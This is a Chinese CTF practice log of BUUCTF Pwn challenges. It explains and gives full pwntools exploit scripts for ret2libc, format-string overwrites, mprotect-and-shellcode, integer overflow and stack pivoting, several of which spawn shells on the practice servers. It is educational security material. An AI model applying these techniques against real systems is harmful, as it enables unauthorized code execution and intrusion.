[BUUCTF-Pwn]刷题记录
力争从今天(2021.3.23)开始每日至少一道吧……在这里记录一些当时没做出来的/比较有意思的。
最近更新(2021.4.10)
如果我的解题步骤中有不正确的理解或不恰当的表述,希望各位师傅在评论区不吝赐教!非常感谢!
[OGeek2019]babyrop
/dev/random和/dev/urandom是unix系统提供的产生随机数的设备,先产生一个随机数
输入放到buf里,然后与随机数比较,不等的话程序就结束了,于是将输入的第一个字母弄成'\0',以绕过strncmp
后面一个函数,传入的参数a1是上一个函数的返回值,也就是buf[7],所以将输入的第8位弄大点(不超过0xff)以构造溢出,看了下栈的情况0xC8不够溢出
然后是常规的ret2libc
exp如下:
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn', 29919)
e = ELF('./pwn')
payload1 = '\0' + b'a' * 6 + '\xff'
p.sendline(payload1)
p.recvuntil('Correct\n')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')
write_plt_addr = e.plt['write']
write_got_addr = e.got['write']
main_addr = 0x08048825
payload2 = b'a' * 235 + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
p.sendline(payload2)
write_true_addr = u32(p.recv().ljust(4, '\0'))
libc_base_addr = write_true_addr - libc.symbols['write']
system_true_addr = libc_base_addr + libc.symbols['system']
bin_sh_addr = libc_base_addr + libc.search('/bin/sh').next()
p.sendline(payload1)
p.recvuntil('Correct\n')
payload3 = b'a' * 235 + p32(system_true_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
p.sendline(payload3)
p.interactive()
[第五空间2019 决赛]PWN5
解法一:利用%n的特性修改0x804C044处的值为4
from pwn import *
p = process('./pwn')
leak_addr = 0x804C044
p.recvuntil('your name:')
payload1 = p32(leak_addr) + '%10$n'
p.sendline(payload1)
p.recvuntil('your passwd:')
p.sendline(b'4')
p.interactive()
解法二:利用%s打印出0x804C044处的值(%x,%p同理)
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
#p = remote('node3.buuoj.cn', 25840)
p = process('./pwn')
leak_addr = 0x0804c044
payload = p32(leak_addr) + '%10$s'
p.sendline(payload)
p.recvuntil("Hello,")
p.recv(4)#先要接收4个字节,前四个字节打印的是地址
number = u32(p.recv(4))
p.sendline(str(number))
p.interactive()
解法三:利用fmstr
fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,例如要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0x804C044处改为随便一个数;
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
3.1 利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell。
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
print(payload)
p.sendline(payload)
p.sendline('/bin///sh\x00')
p.interactive()
3.2 格式化字符串漏洞可以实现改写内存地址的值
from pwn import *
p = process('./pwn')
unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()
get_started_3dsctf_2016
这题太坑了……本地打没问题,远程打不通,据说是加了对地址的过滤,也有说是其他原因
本地exp:
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process('./pwn')
vul_addr = 0x080489B8
payload = b'a' * 56 + p32(vul_addr)
p.sendline(payload)
p.interactive()
由于远端服务器中gets函数没有正常退出,它程序会崩溃,就无法获取到flag ,此时它使用exit函数使gets函数强制退出,那么就能获得flag了
from pwn import *
p = process('./pwn')
context.log_level = 'debug'
vul_addr = 0x080489A0
exit_addr = 0x0804E6A0
a1 = 814536271
a2 = 425138641
payload = 'a'*(56)
payload += p32(vul_addr) + p32(exit_addr)
payload += p32(a1) + p32(a2)
p.sendline(payload)
p.interactive()
另外一种方法,是使用mprotrct函数修改数据段为可读可写可执行,然后用ret2shellcode的方法来做
先看下数据段起止位置和长度
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot=7 是可读可写可执行
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
#用read函数读入shellcode
from pwn import *
#p = process('./pwn')
elf = ELF('./pwn')
p = remote('node3.buuoj.cn', 28810)
context.log_level = 'debug'
start = 0x080ea000
pop3 = 0x08063adb # pop edi ; pop esi ; pop ebx ; ret
mprotect = 0x0806EC80
read_addr = elf.symbols['read']
payload = b'a'*0x38
payload += p32(mprotect)
payload += p32(pop3)
payload += p32(start)
payload += p32(0x2000)
payload += p32(0x7) # rwx
payload += p32(read_addr) + p32(pop3) + p32(0) + p32(start) + p32(0x100) + p32(start)
p.sendline(payload)
payload2 = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(payload2)
p.interactive()
#用gets函数读入shellcode
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
#p = remote('node3.buuoj.cn', 28810)
context.log_level = 'debug'
start = 0x080ea000
pop3_addr = 0x08063adb # pop edi ; pop esi ; pop ebx ; ret
mprotect = 0x0806EC80
gets_addr = elf.symbols['gets']
payload1 = b'a'*0x38 + p32(mprotect) + p32(pop3_addr) + p32(start) + p32(0x2000) + p32(0x7) + p32(gets_addr) + p32(start) + p32(start)
p.sendline(payload1)
sleep(1)
payload2 = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(payload2)
p.interactive()
ciscn_2019_en_2 / ciscn_2019_c_1
没什么好说的,注意栈对齐和接收puts地址的写法就好
#coding = utf-8
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = process('./ciscn_2019_c_1')
#p = remote('node3.buuoj.cn', 28615)#Use this to attack remote
e = ELF('./ciscn_2019_c_1')
p.recvuntil('Welcome to this Encryption machine\n')
p.sendline(b'1')
p.recvuntil('Input your Plaintext to be encrypted\n')
#libc = ELF('libc-2.27.so')#Use this to attack remote
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
main_addr = e.symbols['main']#To get secondary stack overflow, must return to 'main' function
offset = 0x58
pop_rdi_ret_addr = 0x0400c83
ret_addr = 0x04006b9
payload1 = '\0' + b'a' * (offset - 1) + p64(pop_rdi_ret_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)#!!!!!!
p.sendline(payload1)
p.recvline(keepends=True)
p.recvline(keepends=True)
puts_true_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))#!!! To use 'puts' to show the true address, you must get rid of '\n' behind
print(hex(puts_true_addr))
p.recvuntil('Welcome to this Encryption machine\n')
p.sendline(b'1')
p.recvuntil('Input your Plaintext to be encrypted\n')
libc_base_addr = puts_true_addr - libc.symbols['puts']
system_true_addr = libc_base_addr + libc.symbols['system']
bin_sh_true_addr = libc_base_addr + libc.search('/bin/sh').next()
payload2 = '\0' + b'a' * (offset - 1) + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(bin_sh_true_addr) + p64(system_true_addr)#!!!!!
p.sendline(payload2)
p.interactive()
ciscn_2019_n_8
要注意&var[13]是(_QWORD *)类型的,也就是指向的数据是8个字节,而var[13]本身是四个字节
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
#p = process('./pwn')
p = remote('node3.buuoj.cn', 27715)
p.recvuntil("What's your name?")
payload = b'\x11' * 13 * 4 + p64(0x11) + '\0'
p.sendline(payload)
p.interactive()
ciscn_2019_ne_5
开始首先想到的是ret2libc,想要泄露出puts的真实地址,结果失败了,因为puts在got表中的地址开头是0x20(空格),在scanf读入的时候就被截断了
那换成fflush在got表中的地址行不行呢,试了后发现是不行……
下面才是正解:
程序本身存在fflush函数,我们可以直接用它的'sh'来当作system的参数
第一次听说'sh'也行……验证如下:
'sh'在这里:
exp如下:
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process('./pwn')
e = ELF('./pwn')
libc = ELF('libc-2.27.so')
p = remote('node3.buuoj.cn', 26544)
p.recvuntil("Please input admin password:")
p.sendline("administrator")
p.recvuntil("0.Exit\n:")
p.sendline(b'1')
p.recvuntil("Please input new log info:")
system_plt_addr = e.plt['system']
sh_addr = 0x080482EA
payload = b'a' * 76 + p32(system_plt_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload)
p.recvuntil("0.Exit\n:")
p.sendline(b'4')
p.interactive()
pwn2_sctf_2016
整数溢出
第一次输入长度不超过四位的整数,在get_n函数中对输入的数字做出了限制,一个一个读入数字,且不能是'\0'
第一次输入的数字不能大于32,这显然不够溢出,但是可以注意到,get_n函数第二个实参v2是有符号的,而在函数中转变成无符号类型
get_n的第二个形参a2是无符号整型,并且它没有对我们输入的第二个参数a2做无符号整数判断。而有符号负数到无符号数是会发生溢出的。
写exp的时候注意一下用printf泄露地址时格式化字符串的位置和payload的写法即可
exp如下:
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
#p = process('./pwn')
e = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')
p = remote('node3.buuoj.cn', 25470)
p.recvuntil('How many bytes do you want me to read? ')
p.sendline(b'-1')
p.recvuntil("data!\n")
offset = 48
fmtstr = 0x080486F8 #%s_addr!!!!!
vul_addr = 0x0804852F
printf_plt_addr = e.plt['printf']
printf_got_addr = e.got['printf']
payload1 = b'a' * offset + p32(printf_plt_addr) + p32(vul_addr) + p32(fmtstr) + p32(printf_got_addr)
p.sendline(payload1)
p.recvuntil('You said: ')
p.recvuntil('You said: ')
printf_true_addr = u32(p.recv(4))
p.recvuntil('How many bytes do you want me to read? ')
p.sendline(b'-1')
p.recvuntil("data!\n")
libc_base_addr = printf_true_addr - libc.symbols['printf']
system_true_addr = libc_base_addr + libc.symbols['system']
bin_sh_addr = libc_base_addr + libc.search('/bin/sh').next()
payload2 = b'a' * offset + p32(system_true_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()
[HarekazeCTF2019]baby_rop2
跟上题差不多,都是利用已有的格式化字符串和printf来泄露真实地址
但是,我本来想用这种方法泄露printf的真实地址,不知道为什么打不通,同样的写法用于泄露read的真实地址,可以成功
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#p = process('./pwn')
p = remote('node3.buuoj.cn', 26805)
e = ELF('./pwn')
libc = ELF('libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 40
p.recvuntil('name? ')
printf_plt_addr = e.plt['printf']
read_got_addr = e.got['read']
main_addr = 0x400636
pop_rdi_ret = 0x0400733
fmt = 0x0400770
pop_rsi_r15_ret = 0x0400731
payload1 = b'a' * offset + p64(pop_rdi_ret) + p64(fmt) + p64(pop_rsi_r15_ret) + p64(read_got_addr) + p64(0) + p64(printf_plt_addr) + p64(main_addr)
p.sendline(payload1)
read_true_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base_addr = read_true_addr - libc.symbols['read']
system_true_addr = libc_base_addr + libc.symbols['system']
bin_sh_addr = libc_base_addr + libc.search('/bin/sh').next()
p.recvuntil('name? ')
payload2 = b'a' * offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_true_addr)
p.sendline(payload2)
p.interactive()
值得注意的还有接收真实地址时的写法
read_true_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
为什么在读到 \x7f 之后截止,再获取前面的6字节呢?
原因是在64位计算机中,一个地址的长度是8字节,但是实际的操作系统中,一个地址的最高位的两个字节是00,而且实际的函数地址是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取低6字节值,然后通过ljust函数把最高位的两字节填充成00。
我们还可以用这种一般的写法u64(p.recv(6).ljust(8, "\x00"))
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#p = process('./pwn')
p = remote('node3.buuoj.cn', 28762)
e = ELF('./pwn')
libc = ELF('libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 40
p.recvuntil('name? ')
printf_plt_addr = e.plt['printf']
read_got_addr = e.got['read']
main_addr = 0x400636
pop_rdi_ret = 0x0400733
fmt = 0x0400770
pop_rsi_r15_ret = 0x0400731
payload1 = b'a' * offset + p64(pop_rdi_ret) + p64(fmt) + p64(pop_rsi_r15_ret) + p64(read_got_addr) + p64(0) + p64(printf_plt_addr) + p64(main_addr)
p.sendline(payload1)
p.recvuntil('Welcome to the Pwn World again, ')
p.recvuntil('Welcome to the Pwn World again, ')
read_true_addr = u64(p.recv(6).ljust(8, "\x00"))
print(hex(read_true_addr))
libc_base_addr = read_true_addr - libc.symbols['read']
system_true_addr = libc_base_addr + libc.symbols['system']
bin_sh_addr = libc_base_addr + libc.search('/bin/sh').next()
p.recvuntil('name? ')
payload2 = b'a' * offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_true_addr)
p.sendline(payload2)
p.interactive()
是一样的
[Black Watch 入群题]PWN
栈迁移/栈劫持,第一次见
肯定是莫得system函数和'/bin/sh'字符串的,而且第二个read只能读入0x20个字符,不能够构造较长的ROP链,只能刚好够改变这个函数的返回地址
但是第一个read可以读入较多数据,放在bss段,怎么利用呢?
我们要布置的s是这样的(为了泄露write函数的实际地址)
栈劫持主要用到的是一个leave;ret指令,一般程序执行完成后都会调用leave;ret来还原现场
找一下程序里的leave;ret指令,leave_ret=0x8048408
payload1='a'*0x18+p32(s-4)+p32(leave_ret)
我们在给buf参数赋值的时候,溢出后将rbp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址
理一下这样写程序的执行过程:
首先程序正常结束了,去调用程序本身的leave;ret来还原现场,
根据我们对栈的布局,mov esp,ebp
->将esp指向了ebp,栈变成了这个样子
pop ebp
->ebp寄存器被我们设置成了参数s-4的地址,指向了我们布置好的栈上方,这边-4是因为我们第二次执行pop ebp给ebp赋值的时候,会将esp+4,如果不减去4,esp就在程序一开始的时候指向的不是栈顶,而是栈顶+4的位置,我们之后读取数据会丢失一开始的4字节,所以需要一开始的时候将指针往上抬4字节,栈变成了这个样子
ret(pop eip)
->去调用leave;ret指令
再次执行leave;ret指令
mov esp, ebp
->esp指向了参数s-4的位置,栈布局现在是这样
pop ebp
->弹出栈顶的值给ebp,之后栈变成了这样,我们成功将esp指针劫持到了我们布置好的栈上
ret(pop eip)
->将esp指向的输值弹给eip
接下来就是常规的ret2libc
哦对了,还有一个巨坑,专门搞我这种不分青红皂白就p.sendline()的人:
按理说,收到"What is your name?"后应该发送一段payload,可是它并没有停下来发送,而是接收到了下一句话
因为第二个payload不能有多余的回车,否则会跳过下一次读取(